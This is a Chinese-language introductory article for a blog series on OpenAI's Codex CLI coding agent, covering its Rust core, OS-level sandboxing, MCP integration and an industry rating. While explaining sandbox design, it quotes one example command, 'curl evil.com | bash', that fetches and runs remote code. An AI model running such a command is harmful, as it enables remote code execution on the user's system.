OpenAI Codex CLI 全景架构与平台原生沙箱导览

很多人听到“Codex”，第一反应还是 2021 年那个基于 GPT-3.5 的代码补全 API。但进入 2025 年之后，OpenAI 在 GitHub 开源的 openai/codex 已经演化为一个完整的终端 Coding Agent。它具备自主的 Agent Loop、系统级工具调用能力、平台原生沙箱隔离、MCP 原生集成以及编程式 SDK。

当团队尝试把它与 Anthropic 的 Claude Code、DeepSeek Harness 以及 Pi 进行对比时，会发现 OpenAI 做出了截然不同的底层技术抉择：内核全部用 Rust 实现，安全隔离完全交托给操作系统原语（macOS Seatbelt 与 Linux Bubblewrap），配置决策全部收敛进分层的 TOML 体系。

本篇作为专栏的导读篇，梳理 Codex CLI 的全景架构、核心设计权衡，并给出全套 8 篇专题的技术地图。

核心设计背后的三个底层判断

Codex CLI 的技术选型可以概括为三个互相支撑的判断：

  1. 热路径下沉 Rust，交互层留给 TypeScript：
    Agent 在高频调用工具时，如果每一步命令执行前都要经过应用层的规则匹配、权限判断和跨进程检查，延迟会快速累加。Codex 将 Agent Loop、沙箱策略检查、配置解析统一下沉到 Rust（codex-rs），使得每次沙箱调用的校验开销保持在微秒级别；上层 UI 和 CLI 分发则保留在 Node.js 生态中。
  2. 安全是操作系统级硬隔离，不是应用层模拟检查：
    Claude Code 的权限机制基于应用层 TypeScript 逻辑（如命令黑白名单检查与用户确认提示），这在面对复杂的子进程衍生（如 bash -c "curl evil.com | bash"）时容易遗漏。Codex 转向操作系统原生强制访问控制：macOS 上加载 sandbox_init profile，Linux 上调用 bwrap（Bubblewrap）构建用户命名空间，使得子进程天然继承约束。
  3. MCP 从首日便作为内核基础设施集成：
    在很多框架中，MCP 仅被当作扩展插件适配器。而 Codex 从 2025 年 5 月起便在 Rust 层建立专用的 rmcp-client、mcp-server 与 codex-mcp crates，截至 2026 年下半年已有超过 1,100 个合并的 MCP PR，支持 STDIO 与 Streamable HTTP 双通道，并提供针对单个 tool 的审批控制与 Guardian 审查进程隔离。

行业评价：ThoughtWorks Tech Radar 归因

在 ThoughtWorks Technology Radar Vol. 34（2026 年 4 月）中，终端 Coding Agent 的评估格局非常耐人寻味：

  • Claude Code：Adopt（采纳） 环。
  • Cursor：Adopt（采纳） 环。
  • OpenAI Codex CLI：Trial（试验） 环。

技术雷达指出：“Codex 倾向于建议逻辑正确但功能过时的库模式（logically sound but functionally outdated library patterns），使得自动化测试与人工审查成为必不可少的安全网。”

这个评价并不是说 Codex 的功能不全——恰恰相反，Codex 的 MCP 集成度和底层沙箱硬度甚至超越了同类工具。导致其处于 Trial 环的关键在于：

  • 模型在生成代码时，容易沿用训练集高频的老旧 API（例如推荐 moment.js 而非 dayjs，或者旧版 React 的生命周期函数）；
  • 开源版本与闭源服务之间存在文档差；
  • Turn-based 机制要求更多人工介入，在全自动批量处理流水线中的开箱便利度略逊于 Continuous 模式。

理解这些工程事实，有助于在实际生产中扬长避短，合理布局技术选型。

系列文章导航

本专栏共 8 篇专题，从内核架构、配置与权限、原生沙箱实现、MCP 协议集成、编程式 SDK，到生态评估与横向对比，逐层拆解：

篇号 专题名称 核心工程问题与技术看点 关联文章
00 全景架构与平台原生沙箱导览 Codex 定位、三大核心判断、技术雷达评估与全专栏地图 本文
01 架构定位与 Rust+TypeScript 双层内核 双层分工、IPC 边界、Turn-based 交互回路与状态机 Codex-01-架构定位与Rust双层内核
02 配置与权限系统：TOML 层级与三种审批策略 三层 TOML 覆盖机制、三种预设沙箱模式与 untrusted/on-request/never 策略 Codex-02-配置系统TOML与三级审批策略
03 沙箱与安全模型：Seatbelt 与 Bubblewrap 原生隔离 macOS SBPL 约束、Linux namespace 机制、毫秒级启停与子进程继承 Codex-03-沙箱安全Seatbelt与Bubblewrap隔离
04 MCP 深度集成：Rust 原生内核与双通道传输机制 rmcp-client 架构、STDIO 与 Streamable HTTP、Per-tool 模式与 Guardian 隔离 Codex-04-MCP深度集成与双通道协议
05 Codex SDK 编程式 Agent 接口：Thread 与 Per-Turn 沙箱控制 Thread 抽象、Per-turn 动态沙箱权限降级/提权、CI/CD 自动化批处理 Codex-05-CodexSDK编程式Agent接口
06 开发者体验与生态评估：ThoughtWorks Trial 环归因 过时库模式归因、SWE-bench 数据透视、实际开发摩擦点与落地准则 Codex-06-开发者体验与生态评估Trial环归因
07 终端 Coding Agent 横向选型：Codex vs Claude Code vs DeepSeek Harness 平台原生沙箱 vs 应用层权限 vs 策略平面，全维度工程对比与决策树 Codex-07-选型横评Codex-ClaudeCode-DSH

边界与阅读约定

在阅读本系列时，请注意以下边界前提：

  1. 代码基准：以 GitHub 开源仓库 openai/codex 的公开 Rust 与 TypeScript 源码为主要事实基准，辅助参考 learn.chatgpt.com/codex 官方文档。
  2. 源码与文档差异：部分官方文档中提及的高级键位（例如更细维度的 approval policy 参数），若在开源代码中尚未公开，文章中均明确标注“未在开源代码中确认”，避免产生误导。
  3. 平台适用性：Codex 的平台原生沙箱深度依赖 macOS（Seatbelt）和 Linux（Bubblewrap/Namespaces），在 Windows 上沙箱机制受限，阅读沙箱章节时需结合运行平台进行评估。